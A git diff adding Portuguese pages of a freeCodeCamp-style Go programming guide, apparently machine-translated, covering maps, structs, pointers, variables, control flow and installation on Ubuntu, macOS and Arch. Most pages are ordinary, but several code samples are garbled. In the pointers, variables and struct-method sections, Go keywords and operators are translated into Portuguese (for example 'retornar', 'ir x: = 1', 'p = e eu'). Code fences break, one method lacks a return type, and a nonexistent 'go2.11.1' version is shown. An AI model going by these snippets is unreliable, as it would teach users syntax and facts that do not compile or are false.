+Go suporta o retorno de vários valores. A função abaixo retorna 2 valores: a soma dos 2 argumentos e a diferença entre o primeiro e o segundo argumento
+
+```go
+func addAndSubtract(x, y int) (int, int) { 
+  return x + y, x - y 
+ } 
+ 
+ addAndSubtract(7, 4) // Returns 11, 3 
+```
+
+Go também suporta nomear os valores retornados
+
+```go
+func mulitplyByThreeAndDivideByFive(x int) (product int, quotient int) { 
+    product = x * 3 
+    quotient = x / 5 
+    return 
+ } 
+ 
+ mulitplyByThreeAndDivideByFive(20) // Returns 60, 4 
+```
+
+#### Mais Informações:
+
+*   [Um passeio de ir](https://tour.golang.org/basics/4)
+*   [Vá pelo exemplo](https://gobyexample.com/functions)
+*   [Livro Golang](https://www.golang-book.com/books/intro/7)
+*   [A especificação da linguagem de programação Go](https://golang.org/ref/spec#Function_declarations)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/go/go-maps/index.md b/client/src/guide/portuguese/go/go-maps/index.md
new file mode 100644
index 0000000000..6fbab09d10
--- /dev/null
+++ b/client/src/guide/portuguese/go/go-maps/index.md
@@ -0,0 +1,80 @@
+---
+title: Go Maps
+localeTitle: Go Maps
+---
+## Go Maps
+
+Um mapa, chamado _dicionário_ em outros idiomas, "mapeia" chaves para valores. Um mapa é declarado assim:
+
+```go
+var m map[Key]Value 
+```
+
+Este mapa não possui chaves e nenhuma chave pode ser adicionada a ele. Para criar um mapa, use a função `make` :
+
+```go
+m = make(map[Key]Value) 
+```
+
+Qualquer coisa pode ser usada como chave ou como valor.
+
+### Modificando mapas
+
+Aqui estão algumas ações comuns com mapas.
+
+#### Inserindo / Alterando Elementos
+
+Crie ou mude o elemento `foo` no mapa `m` :
+
+```go
+m["foo"] = bar 
+```
+
+#### Obtendo elementos
+
+Obter elemento com chave `foo` no mapa `m` :
+
+```go
+element = m["foo"] 
+```
+
+#### Excluindo elementos
+
+Apagar elemento com chave `foo` no mapa `m` :
+
+```go
+delete(m, "foo") 
+```
+
+#### Verificar se uma chave foi usada
+
+Verifique se a chave `foo` foi usada no mapa `m` :
+
+```go
+element, ok = m["foo"] 
+```
+
+Se `ok` é `true` , a chave foi usada e o `element` mantém o valor em `m["foo"]` . Se `ok` é `false` , a chave não foi usada e o `element` mantém seus valores zero.
+
+### Literais do mapa
+
+Você pode criar diretamente literais de mapas:
+
+```go
+var m = map[string]bool{ 
+    "Go": true, 
+    "JavaScript":false, 
+ } 
+ 
+ m["Go"] // true 
+ m["JavaScript"] = true // Set Javascript to true 
+ delete(m, "JavaScript") // Delete "JavaScript" key and value 
+ language, ok = m["C++"] // ok is false, language is bool's zero-value (false) 
+```
+
+#### Mais Informações:
+
+*   [Um passeio de ir](https://tour.golang.org/moretypes/19)
+*   [Vá pelo exemplo](https://gobyexample.com/maps)
+*   [Livro Golang](https://www.golang-book.com/books/intro/6#section3)
+*   [A especificação da linguagem de programação Go](https://golang.org/ref/spec#Making_slices_maps_and_channels)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/go/go-playground/index.md b/client/src/guide/portuguese/go/go-playground/index.md
new file mode 100644
index 0000000000..27da826eab
--- /dev/null
+++ b/client/src/guide/portuguese/go/go-playground/index.md
@@ -0,0 +1,29 @@
+---
+title: Go Playground
+localeTitle: Vá ao Playground
+---
+# O campo de jogos de Golang
+
+O playground de Golang é um site onde você pode escrever o código Go online, para que você não precise configurar nenhum ambiente de desenvolvimento.
+
+Basta abrir uma nova janela do navegador clinking [Playground](https://play.golang.org) .
+
+Uma vez lá, você terá os botões:
+
+1.  Corre
+2.  Formato
+3.  Importações
+4.  Compartilhar
+
+O botão Executar apenas envia a instrução de compilar o código que você escreveu para os servidores do Google que executam o backend Golang.
+
+O botão Formatar implementa o estilo de formatação idiomática do idioma, você pode ler mais [aqui.](https://golang.org/pkg/fmt/)
+
+Importações apenas verificar quais pacotes você declarou dentro de import (). Um caminho de importação é uma string que identifica exclusivamente um pacote. O caminho de importação de um pacote corresponde à sua localização dentro de uma área de trabalho ou em um repositório remoto (explicado abaixo). [Mais](https://golang.org/doc/code.html#ImportPaths)
+
+Com o compartilhamento, você recebe uma URL onde o código que você acabou de escrever é salvo. Útil quando pedir ajuda para mostrar seu código.
+
+#### Mais Informações:
+
+*   [O parque de diversões Go](https://play.golang.org/)
+*   [Um passeio de ir](https://tour.golang.org/welcome/4)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/go/go-pointers/index.md b/client/src/guide/portuguese/go/go-pointers/index.md
new file mode 100644
index 0000000000..047d57c032
--- /dev/null
+++ b/client/src/guide/portuguese/go/go-pointers/index.md
@@ -0,0 +1,36 @@
+---
+title: Go Pointers
+localeTitle: Ir ponteiros
+---
+## Ir ponteiros
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/go/go-pointers/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+Ponteiros
+
+Go tem ponteiros. Um ponteiro contém o endereço de memória de um valor.
+
+O tipo \* T é um ponteiro para um valor T. Seu valor zero é nulo.
+
+var p \* int
+
+O operador & gera um ponteiro para seu operando.
+
+i: = 42 p = e eu
+
+O operador \* indica o valor subjacente do ponteiro.
+
+fmt.Println (\* p) // lê i através do ponteiro p \* p = 21 // definir i pelo ponteiro p
+
+Isso é conhecido como "desreferenciamento" ou "indireto".
+
+Ao contrário de C, Go não possui aritmética de ponteiros.
+
+#### Mais Informações:
+
+*   [Um passeio de ir](https://tour.golang.org/moretypes/1)
+*   [Vá pelo exemplo](https://gobyexample.com/pointers)
+*   [Livro Golang](https://www.golang-book.com/books/intro/8)
+*   [A especificação da linguagem de programação Go](https://golang.org/ref/spec#Address_operators)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/go/go-slices/index.md b/client/src/guide/portuguese/go/go-slices/index.md
new file mode 100644
index 0000000000..079f9d653d
--- /dev/null
+++ b/client/src/guide/portuguese/go/go-slices/index.md
@@ -0,0 +1,16 @@
+---
+title: Go Slices
+localeTitle: Vá às fatias
+---
+## Vá às fatias
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/go/go-slices/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
+
+*   [Um passeio de ir](https://tour.golang.org/moretypes/7)
+*   [Vá pelo exemplo](https://gobyexample.com/slices)
+*   [Livro Golang](https://www.golang-book.com/books/intro/6#section2)
+*   [A especificação da linguagem de programação Go](https://golang.org/ref/spec#Making_slices_maps_and_channels)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/go/go-structs/index.md b/client/src/guide/portuguese/go/go-structs/index.md
new file mode 100644
index 0000000000..f13d12681b
--- /dev/null
+++ b/client/src/guide/portuguese/go/go-structs/index.md
@@ -0,0 +1,120 @@
+---
+title: Go Structs
+localeTitle: Ir estruturas
+---
+## Ir estruturas
+
+No Go, as estruturas são usadas para armazenar dados e funções relacionadas. Um exemplo pode ser uma estrutura para representar um usuário:
+
+```go
+type User struct { 
+    FirstName string 
+    LastName  string 
+    Email     string 
+    Age       int 
+ } 
+```
+
+Aqui podemos armazenar o nome, o sobrenome, o endereço de e-mail e a idade de um usuário. O nome da propriedade é seguido pelo tipo de dados que queremos armazenar. Por exemplo, a propriedade `FirstName` é uma `string` enquanto a propriedade `Age` é um `int` .
+
+### Criando Objetos
+
+Para inicializar um novo objeto, podemos usar a sintaxe Go shorthand para criar e atribuir variáveis. Podemos passar os dados nesse momento ou definir os dados mais tarde:
+
+```go
+func main() { 
+    // Create a user and set both the first and last name properties 
+    user1 := User{ 
+        FirstName: "John", 
+        LastName: "Wick", 
+    } 
+ 
+    // Now we have our user object, we can set the data like this 
+    user1.Email = "john@wick.com" 
+    user1.Age = 30 
+ } 
+```
+
+### Métodos de objeto
+
+Ir permite atribuir métodos a estruturas. Isso permite o agrupamento de operações relevantes para os dados afetados. Neste exemplo, vamos escrever um método na estrutura `User` para gerar o nome completo do usuário:
+
+```go
+func (u User) FullName() string { 
+    return strings.Join([]string{u.FirstName, u.LastName}, " ") 
+ } 
+```
+
+Este método unirá o primeiro e último nome do usuário com um espaço intermediário. Chamar o método pode ser assim:
+
+```go
+    println(user1.FullName()) 
+```
+
+### Tags de estrutura
+
+Tags de estrutura são usadas para modificar como os codificadores lidam com os dados. Por exemplo, definindo os nomes das chaves ao codificar para JSON:
+
+```go
+type User struct { 
+    FirstName string `json:"first_name"` 
+    LastName  string `json:"last_name"` 
+    Email     string `json:"email"` 
+    Age       int    `json:"age"` 
+ } 
+```
+
+### Dados exportados
+
+As estruturas podem conter propriedades exportadas (públicas) e não exportadas (privadas). Isso é definido com uma primeira letra maiúscula para exportada ou uma primeira letra minúscula para não exportada. Neste exemplo, tornaremos a propriedade de email privada:
+
+```go
+type User struct { 
+    // Exported Data 
+    FirstName string 
+    LastName  string 
+    Age       int 
+ 
+    // Unexported Data 
+    email     string 
+ } 
+```
+
+Isso fará com que o código a seguir lance um erro no momento da criação, pois está tentando interagir com uma propriedade não exportada:
+
+```go
+    user1.email = "john@wick.com" 
+```
+
+Isso também se aplica aos métodos:
+
+```go
+// Exported method. This can be called from anywhere 
+ func (u User) Email() { 
+    return u.email 
+ } 
+ 
+ // Unexported method. This can only be called by other methods on this struct 
+ func (u User) updateLoginCount { 
+    // code to update login count... 
+ } 
+```
+
+### Modificando propriedades por meio de métodos
+
+Para modificar os dados de um objeto de dentro de um de seus métodos, o objeto deve ser um ponteiro. Um exemplo pode ser assim:
+
+\`\` \`ir // SetEmail define o endereço de email do usuário func (u \* User) SetEmail (string de email) { u.email = email }
+
+// Acessor de email func (u \* Usuário) Email () string { retornar u.email }
+
+func main () { // Criando o ponteiro user1 user1 = & User { Nome: "John", Sobrenome: "Wick", }
+```
+// Set the user's email address 
+ user1.SetEmail("john@wick.com") 
+ 
+ // Access and print the user's email address 
+ println(user1.Email()) 
+```
+
+}
\ No newline at end of file
diff --git a/client/src/guide/portuguese/go/go-variables/index.md b/client/src/guide/portuguese/go/go-variables/index.md
new file mode 100644
index 0000000000..1de4d40775
--- /dev/null
+++ b/client/src/guide/portuguese/go/go-variables/index.md
@@ -0,0 +1,27 @@
+---
+title: Go Variables
+localeTitle: Ir variáveis
+---
+# Declarações variáveis ​​em Go
+
+## Método 1: Declarações de Variáveis ​​Regulares
+
+Uma declaração de variável regular cria uma ou mais variáveis ​​ligando identificadores com um tipo e um valor inicial. Se uma variável é declarada sem um tipo, então essa variável recebe o tipo do valor de inicialização correspondente na atribuição. Se uma variável é definida sem valor inicial, então a variável é inicializada com seu [valor zero](https://golang.org/ref/spec#The_zero_value) .
+
+Os exemplos a seguir são todas as declarações de variáveis ​​válidas em go: \`\` \`ir var x int = 1 var y int var z = 0 var a, b float32 = -1, -2
+```
+## Method 2: Short Variable Declarations 
+ 
+ Shorthand variable declarations create variables with only an identifier and an initial value. The `var` keyword and types are not needed to declare a variable using shorthand syntax: 
+```
+
+ir x: = 1 text, err: = ioutil.ReadAll (leitor) \`\` \`
+
+Declarações de variáveis ​​curtas podem aparecer apenas dentro de funções. Em alguns contextos, como os inicializadores de `if` , `for` ou `switch` , eles podem ser usados ​​para declarar variáveis ​​temporárias locais.
+
+#### Mais Informações:
+
+*   [Um passeio de ir](https://tour.golang.org/basics/8)
+*   [Vá pelo exemplo](https://gobyexample.com/variables)
+*   [Livro Golang](https://www.golang-book.com/books/intro/4)
+*   [A especificação da linguagem de programação Go](https://golang.org/ref/spec#Variable_declarations)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/go/goroutines/index.md b/client/src/guide/portuguese/go/goroutines/index.md
new file mode 100644
index 0000000000..bde1008ff7
--- /dev/null
+++ b/client/src/guide/portuguese/go/goroutines/index.md
@@ -0,0 +1,16 @@
+---
+title: Goroutines
+localeTitle: Gorutines
+---
+## Goroutines
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/go/goroutines/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
+
+*   [Um passeio de ir](https://tour.golang.org/concurrency/1)
+*   [Vá pelo exemplo](https://gobyexample.com/goroutines)
+*   [Livro Golang](https://www.golang-book.com/books/intro/10)
+*   [A especificação da linguagem de programação Go](https://golang.org/ref/spec#Go_statements)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/go/hello-world/index.md b/client/src/guide/portuguese/go/hello-world/index.md
new file mode 100644
index 0000000000..5d27167e47
--- /dev/null
+++ b/client/src/guide/portuguese/go/hello-world/index.md
@@ -0,0 +1,63 @@
+---
+title: Hello World in Go
+localeTitle: Olá Mundo em Go
+---
+Para instalar o Go no seu computador, baixe seu instalador [aqui](https://golang.org/dl/) e instale-o seguindo estas [instruções de instalação](https://golang.org/doc/install) .
+
+## Primeiro programa Go
+
+Crie um arquivo chamado `main.go` e adicione o seguinte código nele: -
+
+```go
+package main // Package declaration 
+ 
+ import "fmt" // Importing packages 
+ 
+ // Function declaration 
+ func main() { 
+    fmt.Println("Hello, World!") 
+ } 
+```
+
+Agora, execute o programa acima a partir do terminal / linha de comando. Para fazer isso, abra Terminal / Linha de Comando e vá para o diretório no qual `main.go` está presente. Primeiro compile o programa e execute o `go build main.go` Em seguida, execute o comando `go run main.go` para executar o programa. Você deve ver a saída semelhante à seguinte saída: -
+```
+$ go build main.go 
+ $ go run main.go 
+ Hello, World! 
+```
+
+## Análise
+
+### Declaração do pacote
+
+```go
+package main 
+```
+
+Em cada programa, está associado a um “pacote” ou a uma coleção de programas associados. Uma exceção notável é o pacote especial “main”, que indica ao desenvolvedor que deve executar o programa a seguir.
+
+### Importações
+```
+import “fmt” 
+```
+
+Se você quiser usar funções de outros pacotes, precisará importá-las. Existem alguns pacotes desenvolvidos pelos mantenedores go (chamados de “biblioteca padrão”) e podem ser encontrados em https://golang.org/pkg/. Neste caso, precisamos do pacote "fmt" para nossa declaração de impressão (abaixo).
+
+### Declaração de função
+
+```go
+func main() { 
+ } 
+```
+
+Funções são o coração de qualquer programa em andamento. Eles podem ter argumentos e valores de retorno, mas a função `main` não faz nenhum destes. Ele atua como o "ponto de entrada", ou onde vai procurar primeiro para executar o seu programa. Queremos que nosso programa Hello World seja impresso, por isso queremos colocar nosso código aqui.
+
+### Declaração de impressão
+
+```go
+fmt.Println("Hello, world!") 
+```
+
+Go não requer ponto-e-vírgula no final das linhas, pois o compilador as adiciona automaticamente. O pacote `fmt` (que nós importamos acima!) Tem a função `Println` , que invocamos usando o `Println` `.` sintaxe. Nós passamos argumentos para a função entre os parênteses. Neste caso, o argumento é a string que queremos imprimir ( `"Hello, world!"` ). Observe que a cadeia em si é colocada entre aspas.
+
+Agora que você tem as ferramentas necessárias, saia e faça seus próprios programas Go! A melhor maneira de aprender é experimentar. Se você precisar de ajuda, experimente a excelente documentação: https://golang.org/doc/
\ No newline at end of file
diff --git a/client/src/guide/portuguese/go/if-else-statements/index.md b/client/src/guide/portuguese/go/if-else-statements/index.md
new file mode 100644
index 0000000000..2f156bd0e2
--- /dev/null
+++ b/client/src/guide/portuguese/go/if-else-statements/index.md
@@ -0,0 +1,45 @@
+---
+title: if else Statements
+localeTitle: if else Declarações
+---
## Introdução
+
+A instrução `if` executa uma instrução se uma condição especificada for **verdadeira** . Se a condição for **falsa** , outra instrução pode ser executada usando a instrução `else` .
+
+**Nota:** A instrução `else` é opcional.
+
+```Go
+  x := 7 
+  if x%2 == 0 { 
+    // This statement is executed if x is even 
+  } else { 
+    // This statement is executed if x is odd 
+  } 
+```
+
+Múltiplas instruções `if...else` podem ser aninhadas para criar uma cláusula `else if` .
+
+```go
+  x := 7 
+  if x == 2 { 
+    // this statement is executed if x is 2 
+  } else if x == 4 { 
+    // this statement is executed if x is 4 
+  } else if x == 7 { 
+    // this statement is executed if x is 7 
+  } else { 
+    // this statement is executed if none of the aboves is true 
+  } 
+```
+
+Em Go, você pode preceder uma condição `if` com uma instrução. A definição de variável contida é válida para o bloco `if` completo.
+
+```go
+  if x := 3; x == 2 { 
+    // this statement is executed if x is 2 
+  } else if x == 3 { 
+    // this statement is executed if x is 3 
+  } else { 
+    // this statement is executed if none of the aboves is true 
+  } 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/go/if/index.md b/client/src/guide/portuguese/go/if/index.md
new file mode 100644
index 0000000000..8163b7d8f5
--- /dev/null
+++ b/client/src/guide/portuguese/go/if/index.md
@@ -0,0 +1,61 @@
+---
+title: If in Go
+localeTitle: Se em Go
+---
+# Se em Go
+
+As declarações `if` de go são como seus loops `for` ; a expressão não precisa ser cercada por parênteses `(` `)` mas as chaves `{` `}` são necessárias.
+
+```go
+func sqrt(x float64) string { 
+    if x < 0 { 
+        return sqrt(-x) + "i" 
+    } 
+    return fmt.Sprint(math.Sqrt(x)) 
+ } 
+```
+
+Como `for` , a instrução `if` pode começar com uma instrução curta para executar antes da condição.
+
+As variáveis ​​declaradas pela instrução estão apenas no escopo até o final do `if` .
+
+```go
+func pow(x, n, lim float64) float64 { 
+    if v := math.Pow(x, n); v < lim { 
+        return v 
+    } 
+    return lim 
+ } 
+```
+
+## Se e mais
+
+Variáveis ​​declaradas dentro de uma instrução `if` short também estão disponíveis dentro de qualquer um dos blocos `else` .
+
+```go
+package main 
+ 
+ import ( 
+    "fmt" 
+    "math" 
+ ) 
+ 
+ func pow(x, n, lim float64) float64 { 
+    if v := math.Pow(x, n); v < lim { 
+        return v 
+    } else { 
+        fmt.Printf("%g >= %g\n", v, lim) 
+    } 
+    // can't use v here, though 
+    return lim 
+ } 
+ 
+ func main() { 
+    fmt.Println( 
+        pow(3, 2, 10), 
+        pow(3, 3, 20), 
+    ) 
+ } 
+```
+
+Executar o programa acima produz uma saída semelhante à seguinte saída - `$ go run if.go 27 >= 20 9 20`
\ No newline at end of file
diff --git a/client/src/guide/portuguese/go/index.md b/client/src/guide/portuguese/go/index.md
new file mode 100644
index 0000000000..fccc8538ef
--- /dev/null
+++ b/client/src/guide/portuguese/go/index.md
@@ -0,0 +1,92 @@
+---
+title: Go
+localeTitle: Ir
+---
+## Ir
+
+![Vai para-choque](https://golang.org/doc/gopher/bumper320x180.png)
+
+**Go** (ou **golang** ) é uma linguagem de programação criada no Google em 2007 por Robert Griesemer, Rob Pike e Ken Thompson. É uma linguagem compilada e estaticamente tipada na tradição de Algol e C. Ela possui coleta de lixo, tipagem estrutural limitada, segurança de memória e recursos de programação simultânea no estilo CSP adicionados. O compilador e outras ferramentas de linguagem originalmente desenvolvidas pelo Google são todas gratuitas e de código aberto. Sua popularidade está aumentando rapidamente. É uma ótima opção para a criação de aplicativos da web.
+
+Para mais informações, [acesse a página da Go](https://golang.org/)
+
+Quer um rápido [Tour de Go?](https://tour.golang.org/welcome/1)
+
+## \## Pré-instalações:
+
+#### Instale Golang com o Homebrew:
+
+```bash
+$ brew update 
+ $ brew install golang 
+```
+
+#### Quando instalado, tente executar a versão go para ver a versão instalada do Go.
+
+## \### Configure o espaço de trabalho:
+
+##### Adicionar variáveis ​​de ambiente:
+
+Primeiro, você precisará informar ao Go o local do seu espaço de trabalho.
+
+Vamos adicionar algumas variáveis ​​de ambiente na configuração do shell. Um dos arquivos localizados em seu diretório home bash\_profile, bashrc ou .zshrc (para Oh My Zsh Army)
+
+```bash
+$ vi .bashrc 
+```
+
+\`
+
+em seguida, adicione essas linhas para exportar as variáveis ​​necessárias
+
+#### Este é realmente o seu arquivo .bashrc
+
+```bash
+export GOPATH=$HOME/go-workspace # don't forget to change your path correctly! 
+ export GOROOT=/usr/local/opt/go/libexec 
+ export PATH=$PATH:$GOPATH/bin 
+ export PATH=$PATH:$GOROOT/bin 
+```
+
+## \#### Crie seu espaço de trabalho:
+
+##### Crie a árvore de diretórios do espaço de trabalho:
+
+```bash
+$ mkdir -p $GOPATH $GOPATH/src $GOPATH/pkg $GOPATH/bin 
+ $GOPATH/src : Where your Go projects / programs are located 
+ $GOPATH/pkg : contains every package objects 
+ $GOPATH/bin : The compiled binaries home 
+```
+
+### Começo rápido
+
+Para um início rápido e clichê Ir projeto, tente [liga](https://www.growthmetrics.io/open-source/alloy)
+
+1.  Repositório Clone Alloy
+```
+git clone https://github.com/olliecoleman/alloy 
+ cd alloy 
+```
+
+2.  Instale as dependências
+```
+glide install 
+ npm install 
+```
+
+3.  Inicie o servidor de desenvolvimento
+```
+go install 
+ alloy dev 
+```
+
+4.  Visite o site em `http://localhost:1212`
+
+_Alloy usa Node, NPM e Webpack_
+
+### Vá ao Playground
+
+[Vá ao Playground](https://play.golang.org/)
+
+Aprender a instalar na sua máquina local é importante, mas se quiser começar a jogar, vá direto ao seu navegador, então o Go Playground é a sandbox perfeita para começar imediatamente! Para saber mais sobre o Go Playground, consulte o artigo intitulado [Inside the Go Playground](https://blog.golang.org/playground)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/go/installing-go/arch-linux/index.md b/client/src/guide/portuguese/go/installing-go/arch-linux/index.md
new file mode 100644
index 0000000000..33942a7376
--- /dev/null
+++ b/client/src/guide/portuguese/go/installing-go/arch-linux/index.md
@@ -0,0 +1,23 @@
+---
+title: Installing Go in Arch Linux using pacman
+localeTitle: Instalando o Go no Arch Linux usando o pacman
+---
+### Instalando o Go no Arch Linux usando o pacman
+
+Usar o Gerenciador de Pacotes do Arch Linux (pacman) é a maneira mais fácil de instalar o Go. Com base na filosofia Arch Linux de fornecer novas versões de software muito rapidamente, você terá uma versão muito atual do go. Antes de instalar o pacote go, você precisa atualizar o sistema.
+
+```sh
+$ sudo pacman -Syu 
+ $ sudo pacman -S go 
+```
+
+#### Verifique a instalação e a versão do go
+
+Para verificar se foi instalado com sucesso, use:
+
+```sh
+$ go version 
+ > go version go2.11.1 linux/amd64 
+```
+
+Isso imprimirá no console a versão do go e, ao mesmo tempo, garantirá que a instalação corra bem.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/go/installing-go/index.md b/client/src/guide/portuguese/go/installing-go/index.md
new file mode 100644
index 0000000000..29a0e609cd
--- /dev/null
+++ b/client/src/guide/portuguese/go/installing-go/index.md
@@ -0,0 +1,25 @@
+---
+title: Installing Go
+localeTitle: Instalando o Go
+---
+# Instalando o Go
+
+## Instalando o Go no Ubuntu
+
+*   [Instalando o Go usando o apt-get](https://guide.freecodecamp.org/go/installing-go/ubuntu-apt-get) . Este é o método mais fácil para instalar o ubuntu.
+*   [Instalando o Go usando o tarball](https://guide.freecodecamp.org/go/installing-go/ubuntu-tarball) . Use este método se você deseja instalar a última versão estável do go.
+
+## Instalando o Go no Mac OS X
+
+*   [Instalando o Go usando o Package Installer](https://guide.freecodecamp.org/go/installing-go/mac-package-installer) . Método mais fácil de instalar a versão estável mais recente do go.
+*   [Instalando o Go usando o tarball](https://guide.freecodecamp.org/go/installing-go/mac-tarball) . Para aqueles que desejam usar o terminal.
+
+## Instalando o Go no Windows
+
+*   [Instalando o Go usando o instalador MSI](https://guide.freecodecamp.org/go/installing-go/windows-installer)
+
+## Instalando o Go da fonte
+
+*   Para instalar o Go do referencial de origem para a [instalação da documentação de origem](https://golang.org/doc/install/source)
+
+Referência: [golang install documentation](https://golang.org/doc/install#install)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/go/installing-go/mac-package-installer/index.md b/client/src/guide/portuguese/go/installing-go/mac-package-installer/index.md
new file mode 100644
index 0000000000..6d296f0772
--- /dev/null
+++ b/client/src/guide/portuguese/go/installing-go/mac-package-installer/index.md
@@ -0,0 +1,19 @@
+---
+title: Installing Go in Mac OS X using Package Installer
+localeTitle: Instalando o Go no Mac OS X usando o Package Installer
+---
+### Instalando o Go no Mac OS X usando o Package Installer
+
+Na [página de download do golang](https://golang.org/dl/) , obtenha o instalador do pacote Mac (terminando em .pkg) e execute-o.
+
+![screenshot of golang's download page as of this writting, highliting link](https://raw.githubusercontent.com/AlexandroPerez/resources/master/img/mac_package_installer.jpg "Link do instalador de pacote do Mac")
+
+#### Verifique a instalação e a versão do go
+
+Para verificar se foi instalado com sucesso, abra seu terminal e use:
+
+```sh
+$ go version 
+```
+
+Isso deve imprimir no console a versão do go e, ao mesmo tempo, garantir que a instalação corra bem.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/go/installing-go/mac-tarball/index.md b/client/src/guide/portuguese/go/installing-go/mac-tarball/index.md
new file mode 100644
index 0000000000..92f9b3e880
--- /dev/null
+++ b/client/src/guide/portuguese/go/installing-go/mac-tarball/index.md
@@ -0,0 +1,32 @@
+---
+title: Installing Go in Mac OS X using a tarball
+localeTitle: Instalando o Go no Mac OS X usando um tarball
+---
+### Instalando o Go no Mac OS X usando um tarball
+
+#### Link para o tarball
+
+Você pode obter o link para o arquivo tar do Mac OS na seção Stable mais recente da [página de download](https://golang.org/dl/) do [golang](https://golang.org/dl/) .
+
+![screenshot of golang's download page as of this writting, highliting link](https://raw.githubusercontent.com/AlexandroPerez/resources/master/img/mac_tarball.jpg "Link de tarball do Mac")
+
+#### Processo de Instalação
+
+> Neste processo de instalação, usaremos a versão estável mais recente até o momento da criação deste documento (go 1.9.1). Para uma versão mais nova ou mais antiga, basta substituir o link na primeira etapa. Verifique a [página de download](https://golang.org/dl/) do [golang](https://golang.org/dl/) para ver quais versões estão disponíveis no momento.
+
+##### Instalando o Go 1.9.1
+```
+$ curl -O https://storage.googleapis.com/golang/go1.9.1.darwin-amd64.tar.gz 
+ $ sudo tar -C /usr/local -xzf go1.9.1.darwin-amd64.tar.gz 
+ $ export PATH=$PATH:/usr/local/go/bin 
+```
+
+#### Verifique a instalação e a versão do go
+
+Para verificar se foi instalado com sucesso, use:
+
+```sh
+$ go version 
+```
+
+Isso deve imprimir no console a versão do go e, ao mesmo tempo, garantir que a instalação corra bem.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/go/installing-go/ubuntu-apt-get/index.md b/client/src/guide/portuguese/go/installing-go/ubuntu-apt-get/index.md
new file mode 100644
index 0000000000..bbf181e53f
--- /dev/null
+++ b/client/src/guide/portuguese/go/installing-go/ubuntu-apt-get/index.md
@@ -0,0 +1,25 @@
+---
+title: Installing Go in Ubuntu using apt-get
+localeTitle: Instalando o Go no Ubuntu usando o apt-get
+---
+### Instalando o Go no Ubuntu usando o apt-get
+
+Usar o Gerenciador de Pacotes do Ubuntu (apt-get) é a maneira mais fácil de instalar o Go. Você não terá a versão estável mais recente, mas para o propósito de aprender isso deve ser o suficiente.
+
+> Como desta escrita, a versão do go do Ubuntu Xenial é 1.6.1, enquanto o mais recente versão estável é 1.9.1
+
+```sh
+$ sudo apt-get update 
+ $ sudo apt-get install golang-go 
+```
+
+#### Verifique a instalação e a versão do go
+
+Para verificar se foi instalado com sucesso, use:
+
+```sh
+$ go version 
+ > go version go1.9.1 linux/amd64 
+```
+
+Isso imprimirá no console a versão do go e, ao mesmo tempo, garantirá que a instalação corra bem.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/go/installing-go/ubuntu-tarball/index.md b/client/src/guide/portuguese/go/installing-go/ubuntu-tarball/index.md
new file mode 100644
index 0000000000..43a7dc9ca4
--- /dev/null
+++ b/client/src/guide/portuguese/go/installing-go/ubuntu-tarball/index.md
@@ -0,0 +1,60 @@
+---
+title: Installing Go in Ubuntu using a tarball
+localeTitle: Instalando o Go no Ubuntu usando um tarball
+---
+### Instalando o Go no Ubuntu usando um tarball
+
+> Esta é a maneira recomendada de instalar o go, se você deseja obter a última versão estável disponível no site do golang.
+
+#### Verifique o seu sistema Arquitetura
+
+Antes de continuar, verifique se seu sistema é de 32 ou 64 bits. Se você não sabe, execute o seguinte comando para descobrir:
+
+```sh
+$ lscpu | grep Architecture 
+```
+
+Se você `Architecture: x86_64` seu sistema é 64bit; caso contrário, se você obtiver `Architecture: i686` , seu sistema será 32bit. Agora que você conhece a arquitetura do seu sistema, vamos prosseguir.
+
+#### Escolhendo o tarball certo
+
+A partir da [página de download](https://golang.org/dl/) do [golang](https://golang.org/dl/) , você precisará obter o link para o arquivo de tarball correto (.tar.gz) para o seu sistema.
+
+Se o seu sistema tiver 64 bits, copie o link para o arquivo .tar.gz para sistemas Linux com arquitetura x86\_64. Por exemplo, a versão estável mais recente para sistemas de 64 bits, até o momento desta publicação, é `go1.9.1.linux-amd64.tar.gz`
+
+![screenshot of golang's download page as of this writting, highliting link](https://raw.githubusercontent.com/AlexandroPerez/resources/master/img/ubuntux64.jpg "link de tarball x64")
+
+Se o seu sistema é de 32 bits, copie o link para o arquivo .tar.gz para sistemas Linux com arquitetura x86. No momento em que escrevo, o arquivo mais recente é `go1.9.1.linux-386.tar.gz`
+
+![screenshot of golang's download page as of this writting, highliting link](https://raw.githubusercontent.com/AlexandroPerez/resources/master/img/ubuntux86.jpg "link de tarball x86")
+
+Depois de copiar o link, simplesmente substitua o link no processo de instalação encontrado abaixo com o link que você obteve da página de download.
+
+#### Processo de Instalação
+
+> Neste processo de instalação, usaremos os links para os tarballs do go 1.9.1 como exemplo. Para uma versão mais nova ou mais antiga, basta substituir o link na primeira etapa. Verifique a [página de download](https://golang.org/dl/) do [golang](https://golang.org/dl/) para ver quais versões estão disponíveis no momento.
+
+##### Go 1.9.1 para sistemas de 64 bits:
+```
+$ wget https://storage.googleapis.com/golang/go1.9.1.linux-amd64.tar.gz 
+ $ sudo tar -C /usr/local -xzf go1.9.1.linux-amd64.tar.gz 
+ $ export PATH=$PATH:/usr/local/go/bin 
+```
+
+##### Go 1.9.1 para sistemas de 32 bits:
+```
